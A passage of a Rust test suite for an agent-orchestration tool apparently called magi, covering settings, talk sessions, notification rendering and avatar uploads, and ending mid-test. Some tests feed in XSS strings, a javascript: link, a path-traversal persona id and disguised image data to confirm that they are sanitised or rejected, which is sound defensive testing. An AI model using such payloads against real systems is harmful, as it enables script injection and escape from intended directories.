13182 async fn settings_put_refuses_without_touching_the_file() {
13183 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13184 let (_tmp, repo, machine) = settings_dirs(
13185 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13186 Some(machine_text),
13187 );
13188 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13189 let rev = f.get("/api/settings").await.json()["revision"]
13190 .as_str()
13191 .expect("revision")
13192 .to_owned();
13193 for roles in [
13194 serde_json::json!({ "judges": ["nope"] }),
13195 serde_json::json!({ "reviewers": ["b"] }),
13196 serde_json::json!({ "bogus": ["a"] }),
13197 ] {
13198 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13199 let res = f.put("/api/settings/roles", &body).await;
13200 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13201 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13202 assert_eq!(
13203 std::fs::read_to_string(&machine).expect("machine"),
13204 machine_text
13205 );
13206 }
13207 }
13208
13209 #[tokio::test]
13210 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13211 let tmp = TempDir::new().expect("tempdir");
13212 let repo = tmp.path().join("repo");
13213 std::fs::create_dir_all(&repo).expect("repo dir");
13214 let root = tmp.path().join("root");
13215 make_checkout(&root, "github.com", "yukimemi", "magi");
13216 std::fs::write(
13217 repo.join("magi.toml"),
13218 format!(
13219 "[repos]\nroots = [{:?}]\n",
13220 root.to_string_lossy().into_owned()
13221 ),
13222 )
13223 .expect("write magi.toml");
13224
13225 let f = Fixture::with_repo(repo).await;
13226 let res = f.get("/api/repos").await;
13227 assert_eq!(res.status, 200, "{}", res.body);
13228 let list = res.json();
13229 let repos = list.as_array().expect("an array");
13230 assert_eq!(repos.len(), 1);
13231 assert_eq!(repos[0]["name"], "yukimemi/magi");
13232 assert!(
13233 repos[0]["path"]
13234 .as_str()
13235 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13236 "{list}"
13237 );
13238 }
13239
13240 #[tokio::test]
13241 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13242 let tmp = TempDir::new().expect("tempdir");
13243 let repo = tmp.path().join("repo");
13244 std::fs::create_dir_all(&repo).expect("repo dir");
13245 let root = tmp.path().join("root");
13246 make_checkout(&root, "github.com", "yukimemi", "magi");
13247 std::fs::write(
13248 repo.join("magi.toml"),
13249 format!(
13250 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13251 root.to_string_lossy().into_owned()
13252 ),
13253 )
13254 .expect("write magi.toml");
13255
13256 let f = Fixture::with_repo(repo).await;
13257 let first = f.get("/api/repos").await;
13258 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13259
13260 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13263 let second = f.get("/api/repos").await;
13264 assert_eq!(
13265 second.json().as_array().map(Vec::len),
13266 Some(1),
13267 "a fresh cache must not rescan inside the TTL"
13268 );
13269
13270 let refreshed = f.get("/api/repos?refresh=1").await;
13271 assert_eq!(
13272 refreshed.json().as_array().map(Vec::len),
13273 Some(2),
13274 "an explicit refresh must rescan even inside the TTL"
13275 );
13276 }
13277
13278 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13284
13285 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13289 let tmp = TempDir::new().expect("tempdir");
13290 let repo = tmp.path().join("repo");
13291 std::fs::create_dir_all(&repo).expect("repo dir");
13292 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13293 let f = Fixture::with_repo(repo.clone()).await;
13294 (tmp, repo, f)
13295 }
13296
13297 #[tokio::test]
13298 async fn posting_a_talk_with_remembered_choices_is_soft() {
13299 let (_tmp, _repo, f) = talk_fixture().await;
13300
13301 let good = f
13302 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13303 .await;
13304 assert_eq!(good.status, 201, "{}", good.body);
13305 assert_eq!(good.json()["persona"], "rei");
13306
13307 let stale = f
13309 .post(
13310 "/api/talks",
13311 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13312 )
13313 .await;
13314 assert_eq!(stale.status, 201, "{}", stale.body);
13315 let v = stale.json();
13316 assert_eq!(v["implementers"], 1);
13317 assert_ne!(v["persona"], "nobody");
13318 let typed = f
13319 .post(
13320 "/api/talks",
13321 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13322 )
13323 .await;
13324 assert_eq!(typed.status, 201, "{}", typed.body);
13325
13326 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13328 assert!(
13329 !strict.status.to_string().starts_with('2'),
13330 "{}",
13331 strict.body
13332 );
13333 }
13334
13335 #[tokio::test]
13336 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13337 let (_tmp, _repo, f) = talk_fixture().await;
13338
13339 let opened = f.post("/api/talks", None).await;
13342 assert_eq!(opened.status, 201, "{}", opened.body);
13343 let body = opened.json();
13344 assert_eq!(body["status"], "open");
13345 assert_eq!(
13346 body["turns"].as_array().unwrap().len(),
13347 0,
13348 "opening takes no agent turn: there is nothing yet to answer"
13349 );
13350
13351 let also_opened = f.post("/api/talks", Some("{}")).await;
13353 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13354
13355 let listed = f.get("/api/talks").await.json();
13356 assert_eq!(listed.as_array().unwrap().len(), 2);
13357 }
13358
13359 #[tokio::test]
13360 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13361 let tmp = TempDir::new().expect("tempdir");
13362 let repo = tmp.path().join("repo");
13363 std::fs::create_dir_all(&repo).expect("repo dir");
13364 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13365 std::fs::write(
13366 repo.join("magi.toml"),
13367 format!("{MOCK_AGENT_TOML}\n{second}"),
13368 )
13369 .expect("write magi.toml");
13370 let home = TempDir::new().expect("temp home");
13371 let talks = Talks::at(home.path().join("talks"));
13372 let ui = Arc::new(
13373 Ui::new(
13374 Queue::at(home.path().join("queue")),
13375 Questions::at(home.path().join("questions")),
13376 talks.clone(),
13377 home.path().join("runs"),
13378 home.path().to_path_buf(),
13379 repo.clone(),
13380 )
13381 .with_worktrees_root(home.path().join("wt")),
13382 );
13383 let cfg = config_for(&repo).await.expect("discover config");
13384 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13385 let id = talk.id.clone();
13386 let call = |agent: &str| {
13387 talk_agent(
13388 State(Arc::clone(&ui)),
13389 Path(id.clone()),
13390 Json(TalkAgent {
13391 agent: agent.to_owned(),
13392 }),
13393 )
13394 };
13395
13396 let unknown = call("nobody").await.expect_err("unknown agent");
13397 assert_eq!(
13398 unknown.status,
13399 StatusCode::BAD_REQUEST,
13400 "{}",
13401 unknown.message
13402 );
13403
13404 {
13405 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13408 let busy = call("second").await.expect_err("busy talk");
13409 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13410 assert!(
13411 busy.message.contains("a talk turn is running"),
13412 "{}",
13413 busy.message
13414 );
13415 drop(guard);
13416 }
13417 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13418
13419 let Json(view) = call("second").await.expect("switch");
13420 assert_eq!(view.talk.agent, "second");
13421 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13422 let saved = talks.get(&id).expect("reload");
13423 assert_eq!(saved.agent, "second");
13424 assert_eq!(saved.turns.len(), 1);
13425 assert!(!view.thinking);
13426 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13427 for agent in ["mock", "second"] {
13428 let Json(view) = call(agent).await.expect("immediate consecutive change");
13429 assert_eq!(view.talk.agent, agent);
13430 assert!(!view.thinking);
13431 assert!(!ui.is_thinking(&id));
13432 }
13433
13434 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13435 .await
13436 .expect("detail");
13437 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13438 assert_eq!(roster, ["mock", "second"]);
13439
13440 let mut closed = talks.get(&id).expect("reload");
13441 talk::close(&mut closed, &talks).expect("close");
13442 let refused = call("mock").await.expect_err("closed talk");
13443 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13444 assert!(
13445 refused.message.contains("takes no more turns"),
13446 "{}",
13447 refused.message
13448 );
13449 }
13450
13451 #[tokio::test]
13452 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13453 let tmp = TempDir::new().expect("tempdir");
13454 let repo = tmp.path().join("repo");
13455 std::fs::create_dir_all(&repo).expect("repo dir");
13456 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13457 let home = TempDir::new().expect("temp home");
13458 let talks = Talks::at(home.path().join("talks"));
13459 let ui = Arc::new(
13460 Ui::new(
13461 Queue::at(home.path().join("queue")),
13462 Questions::at(home.path().join("questions")),
13463 talks.clone(),
13464 home.path().join("runs"),
13465 home.path().to_path_buf(),
13466 repo.clone(),
13467 )
13468 .with_worktrees_root(home.path().join("wt")),
13469 );
13470 let cfg = config_for(&repo).await.expect("discover config");
13471 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13472 let id = talk.id.clone();
13473 let call = |n: u8| {
13474 talk_implementers(
13475 State(Arc::clone(&ui)),
13476 Path(id.clone()),
13477 Json(TalkImplementers { implementers: n }),
13478 )
13479 };
13480
13481 for bad in [0u8, 4] {
13482 let e = call(bad).await.expect_err("out of range");
13483 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13484 }
13485 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13486
13487 {
13488 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13491 let busy = call(2).await.expect_err("busy talk");
13492 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13493 assert!(
13494 busy.message.contains("a talk turn is running"),
13495 "{}",
13496 busy.message
13497 );
13498 drop(guard);
13499 }
13500
13501 let Json(view) = call(3).await.expect("switch");
13502 assert_eq!(view.talk.implementers, 3);
13503 assert!(talks.get(&id).expect("reload").implementers_dirty);
13504 assert!(!view.thinking);
13505 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13506 for n in [1, 2, 3] {
13507 let Json(view) = call(n).await.expect("immediate consecutive change");
13508 assert_eq!(view.talk.implementers, n);
13509 assert!(!view.thinking);
13510 assert!(!ui.is_thinking(&id));
13511 }
13512
13513 let mut closed = talks.get(&id).expect("reload");
13514 talk::close(&mut closed, &talks).expect("close");
13515 let e = call(2).await.expect_err("closed talk");
13516 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13517 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13518 }
13519
13520 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13522 let tmp = TempDir::new().expect("tempdir");
13523 let repo = tmp.path().join("repo");
13524 std::fs::create_dir_all(&repo).expect("repo dir");
13525 std::fs::write(
13526 repo.join("magi.toml"),
13527 format!("{MOCK_AGENT_TOML}\n{extra}"),
13528 )
13529 .expect("write magi.toml");
13530 let home = TempDir::new().expect("temp home");
13531 let talks = Talks::at(home.path().join("talks"));
13532 let ui = Arc::new(
13533 Ui::new(
13534 Queue::at(home.path().join("queue")),
13535 Questions::at(home.path().join("questions")),
13536 talks.clone(),
13537 home.path().join("runs"),
13538 home.path().to_path_buf(),
13539 repo.clone(),
13540 )
13541 .with_worktrees_root(home.path().join("wt")),
13542 );
13543 let cfg = config_for(&repo).await.expect("discover config");
13544 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13545 (tmp, home, ui, talk.id, repo)
13546 }
13547
13548 #[tokio::test]
13549 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13550 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13551 let mut conversation = ui.talks.get(&id).unwrap();
13552 talk::record(
13553 &mut conversation,
13554 &ui.talks,
13555 "# Update on a task you filed\noperator words",
13556 vec![],
13557 )
13558 .unwrap();
13559 conversation.turns[0].sender = None;
13561 conversation.turns[0].messages.clear();
13562 ui.talks.put(&mut conversation).unwrap();
13563 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13564 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13565 talk::drain(&mut conversation, &ui.talks).unwrap();
13566 talk::record_reply(
13567 &mut conversation,
13568 &ui.talks,
13569 "about that report",
13570 vec![],
13571 Some(talk::ReplyTarget {
13572 turn: 1,
13573 message: 1,
13574 }),
13575 )
13576 .unwrap();
13577 conversation.turns[2].messages[0]
13578 .reply
13579 .as_mut()
13580 .unwrap()
13581 .sender = None;
13582 conversation.turns.push(talk::Turn {
13583 sender: Some(talk::Sender::Persona),
13584 who: talk::Who::Agent,
13585 body: "magi: actual persona words".into(),
13586 at: Timestamp::now(),
13587 attachments: vec![],
13588 usage: None,
13589 breaks: None,
13590 messages: vec![],
13591 posted_by: None,
13592 });
13593 ui.talks.put(&mut conversation).unwrap();
13594 let view = TalkView::with_config(
13595 ui.talks.get(&id).unwrap(),
13596 false,
13597 None,
13598 &ui.home,
13599 &ui.references,
13600 );
13601 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13602 assert_eq!(
13603 view.talk.turns[1].messages[0].sender,
13604 Some(talk::Sender::Operator)
13605 );
13606 assert_eq!(
13607 view.talk.turns[1].messages[1].sender,
13608 Some(talk::Sender::Magi)
13609 );
13610 assert_eq!(
13611 view.talk.turns[2].messages[0]
13612 .reply
13613 .as_ref()
13614 .unwrap()
13615 .sender,
13616 Some(talk::Sender::Magi)
13617 );
13618 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13619 assert_eq!(view.turn_messages_md[0].len(), 1);
13620 assert!(view.turn_messages_md[0][0].is_none());
13621 assert!(view.turn_messages_md[1][0].is_none());
13622 assert!(view.turn_messages_md[1][1].is_some());
13623 }
13624
13625 #[tokio::test]
13626 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13627 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13628 let mut conversation = ui.talks.get(&id).unwrap();
13629 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13630 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13631 talk::queue_notice(
13632 &mut conversation,
13633 &ui.talks,
13634 &body,
13635 "watch:123",
13636 &|_| false,
13637 None,
13638 display.clone(),
13639 )
13640 .unwrap();
13641 assert!(
13642 !talk::queue_notice(
13643 &mut conversation,
13644 &ui.talks,
13645 &body,
13646 "watch:123",
13647 &|_| false,
13648 None,
13649 display.clone()
13650 )
13651 .unwrap()
13652 );
13653 let saved = ui.talks.get(&id).unwrap();
13654 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13655 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13656 assert!(
13657 view.talk.turns[0].messages[0].display.is_none(),
13658 "operator copy stays literal"
13659 );
13660 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13661 assert!(view.turn_messages_md[0][0].is_none());
13662 let queued_md = view.pending_messages_md[0].clone();
13663 assert_eq!(
13664 queued_md,
13665 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13666 );
13667 talk::drain(&mut conversation, &ui.talks).unwrap();
13668 talk::record_reply(
13669 &mut conversation,
13670 &ui.talks,
13671 "Explain",
13672 vec![],
13673 Some(talk::ReplyTarget {
13674 turn: 1,
13675 message: 0,
13676 }),
13677 )
13678 .unwrap();
13679 let mut saved = ui.talks.get(&id).unwrap();
13680 assert_eq!(saved.turns[1].messages[0].body, body);
13681 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13682 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13683 assert!(!reply.excerpt.contains("automatic report"));
13684 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13687 let view = TalkView::with_config(
13688 ui.talks.get(&id).unwrap(),
13689 false,
13690 None,
13691 &ui.home,
13692 &ui.references,
13693 );
13694 assert_eq!(view.turn_messages_md[1][0], queued_md);
13695 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13696 assert!(
13697 !view.talk.turns[2].messages[0]
13698 .reply
13699 .as_ref()
13700 .unwrap()
13701 .excerpt
13702 .contains("automatic report")
13703 );
13704 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13705 }
13706
13707 #[tokio::test]
13708 async fn consultation_display_hides_directives_in_queue_and_history() {
13709 for node in [
13710 "implement",
13711 crate::land::APPROVAL_NODE,
13712 crate::github_text::ASK_NODE,
13713 ] {
13714 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13715 let mut question = Question::new(
13716 "run-123".into(),
13717 node.into(),
13718 "seat-1".into(),
13719 "Which backend?".into(),
13720 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13721 vec!["SQLite".into(), "Redis".into()],
13722 );
13723 ui.questions.put(&mut question).unwrap();
13724 let body = crate::prompt::chat_consult(&question);
13725 let mut conversation = ui.talks.get(&id).unwrap();
13726 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13727 assert!(
13728 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13729 );
13730 conversation = ui.talks.get(&id).unwrap();
13731 assert_eq!(conversation.pending_messages[0].body, body);
13732 assert!(body.contains("magi answer"));
13733 let mut legacy_pending = conversation.clone();
13734 legacy_pending.pending_messages[0].display = None;
13735 let legacy_view =
13736 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13737 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13738 assert!(legacy_md.contains("Question consultation"));
13739 assert!(!legacy_md.contains("magi answer"));
13740 let view =
13741 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13742 assert!(
13743 view.turn_messages_md[0][0].is_none(),
13744 "operator copy stays literal"
13745 );
13746 let queued_md = view.pending_messages_md[0].clone().unwrap();
13747 let rendered = serde_json::to_string(&queued_md).unwrap();
13748 for visible in [
13749 "Which backend?",
13750 "Context",
13751 "storage",
13752 "SQLite",
13753 "Redis",
13754 "<script>literal</script>",
13755 ] {
13756 assert!(rendered.contains(visible), "missing {visible}");
13757 }
13758 for directive in [
13759 "What to do",
13760 "magi answer",
13761 "Never answer it yourself",
13762 "Do not edit the repository",
13763 ] {
13764 assert!(!rendered.contains(directive), "exposed {directive}");
13765 }
13766 assert_eq!(
13767 view.talk.pending_messages[0].display,
13768 Some(crate::prompt::chat_consult_display(&question))
13769 );
13770 talk::drain(&mut conversation, &ui.talks).unwrap();
13771 let view =
13772 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13773 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13774 assert_eq!(conversation.turns[1].messages[0].body, body);
13775
13776 conversation.turns[1].messages[0].display = None;
13779 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13780 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13781 assert!(legacy.contains("Question consultation"));
13782 assert!(!legacy.contains("magi answer"));
13783 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13784 }
13785 }
13786
13787 #[test]
13788 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13789 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13790 let (body, mut display) =
13791 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13792 display.facts = facts.into();
13793 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13794 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13795 let json = serde_json::to_string(&nodes).unwrap();
13796 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13797 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13798 }
13799 assert!(json.contains("<script>alert(1)</script>"));
13800 assert!(!json.contains("javascript:"));
13801 assert!(!json.contains("Tell the operator"));
13802 assert!(!json.contains("untrusted"));
13803 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13804 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13805 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13806 assert_eq!(
13807 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13808 md::to_nodes("# Status", &md::ImageBase::None),
13809 );
13810 }
13811
13812 #[tokio::test]
13813 async fn notification_display_recovers_exact_legacy_completion_references() {
13814 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13815 let mut conversation = ui.talks.get(&id).unwrap();
13816 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13817 id: "task-123",
13818 title: "Change",
13819 status: "done",
13820 reason: None,
13821 run: Some("run-123"),
13822 pr: None,
13823 summary: Some("Merge state unknown"),
13824 });
13825 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13826 conversation.turns[0].sender = None;
13827 conversation.turns[0].messages.clear();
13828 conversation.turns[0].breaks = None;
13829 conversation.pending = body.clone();
13830 conversation
13831 .completion_notices
13832 .push(crate::chat_notify::CompletionReference {
13833 task: "task-123".into(),
13834 run: Some("run-123".into()),
13835 notice: body.clone(),
13836 });
13837 ui.talks.put(&mut conversation).unwrap();
13838 let view = TalkView::with_config(
13839 ui.talks.get(&id).unwrap(),
13840 false,
13841 None,
13842 &ui.home,
13843 &ui.references,
13844 );
13845 assert_eq!(
13846 view.talk.turns[0].messages[0].display,
13847 Some(display.clone())
13848 );
13849 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13850 assert_eq!(
13851 view.talk.turns[0].messages[0].sender,
13852 Some(talk::Sender::Magi)
13853 );
13854 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13855 conversation.completion_notices[0]
13856 .notice
13857 .push_str("different");
13858 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13859 assert!(view.talk.turns[0].messages.is_empty());
13860 assert!(view.talk.pending_messages.is_empty());
13861 }
13862
13863 #[tokio::test]
13864 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13865 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13866 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13867 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13868 ))
13869 .await;
13870 let path = avatar_setting_path(home.path(), Some("rei"));
13871 let orphan = avatar_setting_path(home.path(), Some("removed"));
13872 save_icon_file(&orphan, icon).unwrap();
13873 for (saved, expected) in [
13874 (icon, "custom"),
13875 ("builtin", "builtin"),
13876 ("data:image/png;base64,!!!!", "inherit"),
13877 ("data:image/png;base64,PGh0bWw+", "inherit"),
13878 ("/tmp/avatar.png", "inherit"),
13879 ] {
13880 atomic_icon_write(&path, saved).unwrap();
13881 let catalog =
13882 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13883 .await
13884 .unwrap()
13885 .0;
13886 let personas = catalog["personas"].as_array().unwrap();
13887 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13888 assert_eq!(rei["override_state"], expected);
13889 assert_eq!(rei["has_config_icon"], true);
13890 assert_eq!(rei["is_orphan"], false);
13891 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13892 assert_eq!(removed["override_state"], "custom");
13893 assert_eq!(removed["is_orphan"], true);
13894 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13895 assert_eq!(default["override_state"], "inherit");
13896 assert_eq!(default["has_config_icon"], false);
13897 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13898 assert_eq!(
13899 effective.as_deref(),
13900 Some(if expected == "builtin" { "" } else { icon })
13901 );
13902 }
13903 }
13904
13905 #[tokio::test]
13906 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13907 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13908 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13909 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13910 ))
13911 .await;
13912 let target = |id: Option<&str>| AvatarSettingsQuery {
13913 persona: id.map(str::to_owned),
13914 ..Default::default()
13915 };
13916 let original_config = config_for(&repo).await.unwrap();
13917 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13918 let original_prompt = persona::section_for(&original_persona, None);
13919 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13920 .await
13921 .unwrap()
13922 .0;
13923 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13924 let _ = avatar_settings_put(
13925 State(ui.clone()),
13926 Query(target(persona)),
13927 Json(MagiIconUpload { icon: icon.into() }),
13928 )
13929 .await
13930 .unwrap();
13931 let path = avatar_setting_path(home.path(), persona);
13932 assert!(path.starts_with(home.path().join("avatars")));
13933 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13934 for bad in [
13935 "/tmp/image.png".to_owned(),
13936 "data:image/png;base64,!!!!".to_owned(),
13937 "data:image/png;base64,PGh0bWw+".to_owned(),
13938 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13939 format!(
13940 "data:image/png;base64,{}",
13941 "A".repeat(persona_icon::ICON_MAX_BYTES)
13942 ),
13943 ] {
13944 assert!(
13945 avatar_settings_put(
13946 State(ui.clone()),
13947 Query(target(persona)),
13948 Json(MagiIconUpload { icon: bad })
13949 )
13950 .await
13951 .is_err()
13952 );
13953 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13954 }
13955 }
13956 assert!(read_magi_icon(home.path()).is_none());
13957 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13958 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13959 .await
13960 .unwrap()
13961 .0;
13962 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13963 assert_ne!(
13964 before
13965 .personas
13966 .iter()
13967 .find(|p| p.id == "magi")
13968 .unwrap()
13969 .avatar,
13970 after
13971 .personas
13972 .iter()
13973 .find(|p| p.id == "magi")
13974 .unwrap()
13975 .avatar
13976 );
13977 let restarted = Arc::new(Ui::new(
13978 Queue::at(home.path().join("queue")),
13979 Questions::at(home.path().join("questions")),
13980 Talks::at(home.path().join("talks")),
13981 home.path().join("runs"),
13982 home.path().to_owned(),
13983 repo,
13984 ));
13985 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13986 .await
13987 .unwrap()
13988 .0;
13989 assert!(
13990 catalog["personas"]
13991 .as_array()
13992 .unwrap()
13993 .iter()
13994 .any(|p| p["id"] == "../custom/日本語")
13995 );
13996 for expected in ["custom", "default", "rei"] {
13997 assert!(
13998 catalog["personas"]
13999 .as_array()
14000 .unwrap()
14001 .iter()
14002 .any(|p| p["id"] == expected)
14003 );
14004 }
14005 let response =
14006 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14007 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14008 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14009 .await
14010 .unwrap();
14011 assert_eq!(
14012 effective_persona_icon(home.path(), "rei", Some(icon)),
14013 Some(String::new())
14014 );
14015 let response = talk_avatar(
14016 State(restarted.clone()),
14017 Path(id.clone()),
14018 Query(AvatarQuery {
14019 persona: Some("rei".into()),
14020 ..Default::default()
14021 }),
14022 )
14023 .await
14024 .unwrap();
14025 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14026 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14027 .await
14028 .unwrap()
14029 .0;
14030 assert_ne!(
14031 after
14032 .personas
14033 .iter()
14034 .find(|p| p.id == "rei")
14035 .unwrap()
14036 .avatar,
14037 reset
14038 .personas
14039 .iter()
14040 .find(|p| p.id == "rei")
14041 .unwrap()
14042 .avatar
14043 );
14044 let mut inherit = target(Some("rei"));
14045 inherit.inherit = Some("1".into());
14046 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14047 .await
14048 .unwrap();
14049 assert_eq!(
14050 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14051 Some(icon)
14052 );
14053 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14054 .await
14055 .unwrap();
14056 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14057 assert_eq!(
14058 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14059 Some(icon)
14060 );
14061 let cfg = config_for(&ui.repo).await.unwrap();
14063 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14064 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14065 assert!(!original_prompt.contains("data:image"));
14066 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14067 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14068 assert!(!stored.contains("data:image"));
14069 let mut orphan = ui.talks.get(&id).unwrap();
14070 orphan.persona = "../custom/日本語".into();
14071 let view = TalkView::with_config(
14072 orphan,
14073 false,
14074 Some(&cfg),
